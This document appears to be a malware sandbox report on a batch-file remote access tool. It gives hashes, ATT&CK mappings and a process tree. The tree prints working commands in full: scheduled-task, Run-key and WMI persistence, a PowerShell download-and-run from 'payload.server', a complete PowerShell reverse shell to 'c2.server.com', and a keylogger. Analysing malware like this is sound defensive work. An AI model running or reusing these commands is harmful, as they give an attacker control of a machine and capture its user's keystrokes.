f0649143799668da3492577e73d1798541dc01e70aad18eea771c4a9a90cf6ae

Analysis

max time kernel
149s
max time network
148s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
29/05/2026, 22:13

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General

Target
rat_build_53166_014217.bat
Size 4KB
Sample260529-144dbsht41
SHA256 f0649143799668da3492577e73d1798541dc01e70aad18eea771c4a9a90cf6ae
MD5 42fdefd626b4722446e40583e9fca617
SHA1 dfa0367014e87d15ca3234072c73b50646ef4adb
SHA512 923e8fa85686808e5f6e5e5850d7eeebce16b3e611be6c660231ba77253ebe088a88134c9cc84b9ccd52541e513e52e6c5ad520b1cce89acc5ecf8e8a90540bc
SSDEEP 96:KIdeDWWxeKRpANxWKQKjxfP0R8VYBTl39ZW+ZQnNgJr3iFgZk8mvlo1RZd/tu:KS5WxBRyxW4j5P0R8MreNMiFgkHl4ZdE
TLSH
T10DA1D9236756B160C9B0166CDE763C08079CEAFB1304C95DBB49CDC91A4EE03D5A93EB
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_53166.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2188	powershell.exe
1392	powershell.exe
2348	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2824035265-2271499813-2042964211-1000\Software\Microsoft\Windows\CurrentVersion\Run\Updater_53166 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_53166.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
4132	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
1812	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
3760	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2972	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2188	powershell.exe
2188	powershell.exe
1392	powershell.exe
1392	powershell.exe
2348	powershell.exe
2348	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	4184	WMIC.exe
Token: SeSecurityPrivilege	4184	WMIC.exe
Token: SeTakeOwnershipPrivilege	4184	WMIC.exe
Token: SeLoadDriverPrivilege	4184	WMIC.exe
Token: SeSystemProfilePrivilege	4184	WMIC.exe
Token: SeSystemtimePrivilege	4184	WMIC.exe
Token: SeProfSingleProcessPrivilege	4184	WMIC.exe
Token: SeIncBasePriorityPrivilege	4184	WMIC.exe
Token: SeCreatePagefilePrivilege	4184	WMIC.exe
Token: SeBackupPrivilege	4184	WMIC.exe
Token: SeRestorePrivilege	4184	WMIC.exe
Token: SeShutdownPrivilege	4184	WMIC.exe
Token: SeDebugPrivilege	4184	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4184	WMIC.exe
Token: SeRemoteShutdownPrivilege	4184	WMIC.exe
Token: SeUndockPrivilege	4184	WMIC.exe
Token: SeManageVolumePrivilege	4184	WMIC.exe
Token: 33	4184	WMIC.exe
Token: 34	4184	WMIC.exe
Token: 35	4184	WMIC.exe
Token: 36	4184	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4184	WMIC.exe
Token: SeSecurityPrivilege	4184	WMIC.exe
Token: SeTakeOwnershipPrivilege	4184	WMIC.exe
Token: SeLoadDriverPrivilege	4184	WMIC.exe
Token: SeSystemProfilePrivilege	4184	WMIC.exe
Token: SeSystemtimePrivilege	4184	WMIC.exe
Token: SeProfSingleProcessPrivilege	4184	WMIC.exe
Token: SeIncBasePriorityPrivilege	4184	WMIC.exe
Token: SeCreatePagefilePrivilege	4184	WMIC.exe
Token: SeBackupPrivilege	4184	WMIC.exe
Token: SeRestorePrivilege	4184	WMIC.exe
Token: SeShutdownPrivilege	4184	WMIC.exe
Token: SeDebugPrivilege	4184	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4184	WMIC.exe
Token: SeRemoteShutdownPrivilege	4184	WMIC.exe
Token: SeUndockPrivilege	4184	WMIC.exe
Token: SeManageVolumePrivilege	4184	WMIC.exe
Token: 33	4184	WMIC.exe
Token: 34	4184	WMIC.exe
Token: 35	4184	WMIC.exe
Token: 36	4184	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2112	WMIC.exe
Token: SeSecurityPrivilege	2112	WMIC.exe
Token: SeTakeOwnershipPrivilege	2112	WMIC.exe
Token: SeLoadDriverPrivilege	2112	WMIC.exe
Token: SeSystemProfilePrivilege	2112	WMIC.exe
Token: SeSystemtimePrivilege	2112	WMIC.exe
Token: SeProfSingleProcessPrivilege	2112	WMIC.exe
Token: SeIncBasePriorityPrivilege	2112	WMIC.exe
Token: SeCreatePagefilePrivilege	2112	WMIC.exe
Token: SeBackupPrivilege	2112	WMIC.exe
Token: SeRestorePrivilege	2112	WMIC.exe
Token: SeShutdownPrivilege	2112	WMIC.exe
Token: SeDebugPrivilege	2112	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2112	WMIC.exe
Token: SeRemoteShutdownPrivilege	2112	WMIC.exe
Token: SeUndockPrivilege	2112	WMIC.exe
Token: SeManageVolumePrivilege	2112	WMIC.exe
Token: 33	2112	WMIC.exe
Token: 34	2112	WMIC.exe
Token: 35	2112	WMIC.exe
Token: 36	2112	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2112	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 1008 wrote to memory of 2972	1008	cmd.exe	83
PID 1008 wrote to memory of 3760	1008	cmd.exe	84
PID 1008 wrote to memory of 4184	1008	cmd.exe	86
PID 1008 wrote to memory of 2112	1008	cmd.exe	87
PID 1008 wrote to memory of 1904	1008	cmd.exe	88
PID 1008 wrote to memory of 1812	1008	cmd.exe	89
PID 1008 wrote to memory of 4132	1008	cmd.exe	94
PID 1008 wrote to memory of 2188	1008	cmd.exe	95
PID 1008 wrote to memory of 1392	1008	cmd.exe	96
PID 1008 wrote to memory of 2348	1008	cmd.exe	97

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_53166_014217.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1008
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_53166" /tr "C:\Users\Admin\AppData\Local\Temp\_53166.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2972
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_53166" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_53166.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:3760
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_53166", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4184
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_53166", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_53166.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2112
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_53166.txt
  2⤵
  PID:1904
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:1812
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:4132
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_53166.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2188
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1392
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2348

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2
MD5 5f4c933102a824f41e258078e34165a7
SHA1 d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee
SHA512 a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034
TLSH
T15651CF323375B1D489163F07192C59C463BF8355FA94AF4CB698624ED92700B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 3e9dfdec2a1c817075bdfd2a8050630c7f8404f82e84a4374e80f124e102d49d
MD5 7a9772bc4c578c1736aa04a056f68da3
SHA1 7bb32e69db056bc9ab222ef4ef45de588b2a8efd
SHA512 2d4516747b14356725004ec2c227f56d3e2eae475d58e3fdd5b2b3dbef7382def984eb89584f11359a08d5b8ac3dc5a83fff1d9829a775ebbbcc97315265dd97
TLSH
T190115333B79CC135C8A9117A1089AD01B2B5C3CB04AEDE8B6A84C508E57F98ADBA41E4
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 92d5a76ed593d1450f8f5309d806ef2ec37be8839f1e0e20763e75180345feac
MD5 a766b59cb8764029e0daa42ff2d21c3f
SHA1 9ca2e4735a93ab8ddf2d8e6928f1c570aa4ff80b
SHA512 e92fe19a450bc93cfcbaed70586d580470d239cd41997e0bdebdb45f1b6ba02604b4e839ab6ee40d5112ba683c647ecd10751183ab2f89226994e17680c52eae
TLSH
T1DA117A33B79CC135C8D9157A108DAD01B2B5C3CB049EDE8B7A84C509E57F58ADB641E4
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_qoemyylh.43a.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qoemyylh.43a.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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memory/2188-3-0x0000022F67870000-0x0000022F67892000-memory.dmp

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